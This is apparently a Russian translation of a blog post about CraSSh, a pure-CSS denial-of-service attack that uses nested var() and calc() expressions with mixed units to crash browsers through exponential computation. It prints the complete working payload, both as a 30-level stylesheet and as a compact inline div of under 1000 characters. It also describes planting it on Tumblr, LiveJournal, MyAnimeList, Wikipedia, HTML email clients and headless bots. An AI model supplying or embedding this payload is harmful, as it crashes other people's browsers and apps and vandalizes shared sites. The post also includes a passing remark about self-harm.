Автор статьи: Константин Сафонов
Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.
CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций
CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:
Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).
Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.
Атака полагается на три функции CSS:
Переменные CSS (custom properties и var())
Они позволяют объявлять: присваивать и читать переменные:
Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как
выражения calc()
Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например,
Это даёт возможность:
Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё
разнородное значение
Технически, это часть
Таким образом, это значение каждый раз пересчитывается заново:
Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:
Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.
Так, выглядел оригинальный CraSSh:
А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).
Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:
Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.
Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.
Что такое CraSSh
CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций
var() и calc() в современных браузерах.CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:
- На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
- Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
- На движке Gecko — Firefox и его форки, такие как Tor Browser.
- Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
- На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)
Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).
Как это работает
Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.
Атака полагается на три функции CSS:
Переменные CSS (custom properties и var())
Они позволяют объявлять: присваивать и читать переменные:
.variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ }
Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как
выражения calc()
Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например,
'width: calc(50% - 10px)'.calc() позволяет ссылаться на переменные и использовать несколько значений в одном выражении:.calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ }
Это даёт возможность:
- линейно увеличивать вычисления в каждом выражении
calc()путём добавления ссылок на предыдущие переменные; - экспоненциально увеличивать сложность с каждым объявлением переменной с выражением
calc(), ссылающимся на другие вычисляемые переменные:
.calc_multiple { --variable-level-0: 1px; /* константа */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2 вычисления константы */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2 вызова предыдущей переменной, 4 вычисления константы */ /* ... больше аналогичных объявлений */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */ }
Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё
разнородное значение
Технически, это часть
calc(), но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:- рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты
'%'/'em'); - рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).
Таким образом, это значение каждый раз пересчитывается заново:
.non_cached { --const: calc(50% + 10px); /* остаётся (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* по-прежнему не вычисляется актуальное значение */ width: var(--variable); /* всё вычисляется здесь */ }
Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:
.mixed { --mixed:calc(1% + 1px); /* разнородная константа */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /* переменная со ссылкой на константу */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /* предыдущая переменная после встраивания */ --mixed-reference-computes-as: calc(2% + 2px); /* сокращённое представление, которое позже будет вычислено как абсолютное значение */ }
Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.
Так, выглядел оригинальный CraSSh:
.crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /* разнородная константа */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2 вычисления */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4 вычисления */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8 вычислений */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16 вычислений */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32 вычисления */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64 вычисления */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128 вычислений */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256 вычислений */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512 вычислений */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024 вычисления */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048 вычислений */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096 вычислений */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192 вычисления */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384 вычисления */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768 вычислений */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536 вычислений */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072 вычисления */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144 вычисления */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288 вычислений */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576 вычислений */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152 вычисления */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304 вычисления */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608 вычислений */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216 вычислений */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432 вычисления */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864 вычисления */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728 вычислений */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456 вычислений */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912 вычисления */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824 вычисления */ --level-final: calc(var(--level-30) + 1px); /* 1073741824 вычисления */ /* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать */ border-width: var(--level-final); /* <- применяем рассчитанное значение */ /* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */ border-style: solid; }
<div class="crassh"> Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh </div>
А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
Как это использовать
Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:
- Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
- Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
- Вызвать сбой почтовых клиентов с поддержкой HTML
- Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
- CraSSh работает в
- Samsung Mail для Android
- CraSSh не работает в
- Outlook (веб)
- Gmail (веб)
- Gmail (Android)
- Yahoo (веб)
- Yandex (веб)
- Protonmail (веб)
- Zimbra (веб, автономная установка)
- Windows Mail (Windows, очевидно)
- Должен работать в
- Outlook для Mac (внутренне использует Webkit)
- Другие не тестировали.
- Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому
- это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
- очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи
Зачем это сделано
- Помните тот пост Линуса?
Похоже, мир IT-безопасности достиг нового дна.
Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:
«Нет, правда, я не шлюха. Честно-честно»
на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.
В какой момент люди из безопасности признáют, что обожают привлекать к себе внимание?
Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом. - Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.
Похожие штуки
Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.
Особая благодарность
- Константин Степанов (@cberg).
- EpicMorg, который разместил этот проект, хотя я доставляю им до хрена неприятностей.
